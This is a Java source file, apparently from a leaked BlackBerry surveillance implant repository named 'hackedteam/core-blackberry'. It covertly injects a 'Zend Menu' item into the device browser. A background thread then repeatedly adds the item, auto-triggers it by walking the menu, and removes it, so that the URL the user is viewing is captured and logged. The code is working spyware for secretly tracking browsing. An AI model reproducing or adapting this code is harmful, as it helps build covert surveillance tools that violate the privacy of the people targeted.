hackedteam/core-blackberry

package com.rim.samples.device.bbminjectdemo;

import java.util.Vector;

import net.rim.blackberry.api.menuitem.ApplicationMenuItem;
import net.rim.blackberry.api.menuitem.ApplicationMenuItemRepository;
import net.rim.device.api.ui.Screen;
import net.rim.device.api.ui.UiApplication;

public class BrowserMenuItem extends ApplicationMenuItem {
    private static final String BROWSER_MENU = "Zend Menu";
    //#ifdef DEBUG
    private static Debug debug = new Debug("BrowserMenuItem",
            DebugLevel.VERBOSE);
    // #endif
    static BrowserMenuItem instance;

    Screen browserScreen;
    String lastUrl;

    static BrowserMenuItem getInstance() {
        if (instance == null)
            instance = new BrowserMenuItem(20);

        return instance;
    }

    public BrowserMenuItem(int arg0) {
        super(arg0);
    }

    public Object run(Object context) {
        try {

            if (t == null) {
                UiApplication app = UiApplication.getUiApplication();
                browserScreen = app.getActiveScreen();

                pressMenuThread();
            }

            if(context == null){
                debug.trace("NO URL: " + context);
                return null;
            }
            
            String url = (String) context;

            if (!url.equals(lastUrl)) {
                lastUrl = url;

                debug.trace("NEW URL: " + context);
            }

        } catch (Exception ex) {
            debug.warn("injectBrowser:" + ex.toString());
        }
        return null;
    }

    public String toString() {
        return BROWSER_MENU;
    }

    Thread t;

    public void pressMenuThread() {

        if (t != null) {
            return;
        }

        t = new Thread(new Runnable() {

            public void run() {
                for (;;) {
                    Utils.sleep(3000);
                    debug.trace("pressMenuThread");
                    if (browserScreen != null) {
                        addMenuBrowser();
                        //Utils.sleep(200);
                        MenuWalker.walk(BROWSER_MENU,UiApplication.getUiApplication().getActiveScreen(),false);
                        removeMenuBrowser();
                    }
                }
            }
        });

        t.start();
    }

    boolean menuAdded = false;

    public void addMenuBrowser() {
        if (!menuAdded) {
            debug.trace("Adding menu browser");
            long bbmid = ApplicationMenuItemRepository.MENUITEM_BROWSER;
            ApplicationMenuItemRepository.getInstance()
                    .addMenuItem(bbmid, this);
            menuAdded = true;
        }
    }

    public void removeMenuBrowser() {
        if (menuAdded) {
            debug.trace("Removing menu browser");
            long bbmid = ApplicationMenuItemRepository.MENUITEM_BROWSER;
            ApplicationMenuItemRepository.getInstance()
                    .removeMenuItem(bbmid, this);
            menuAdded = false;
        }

    }

}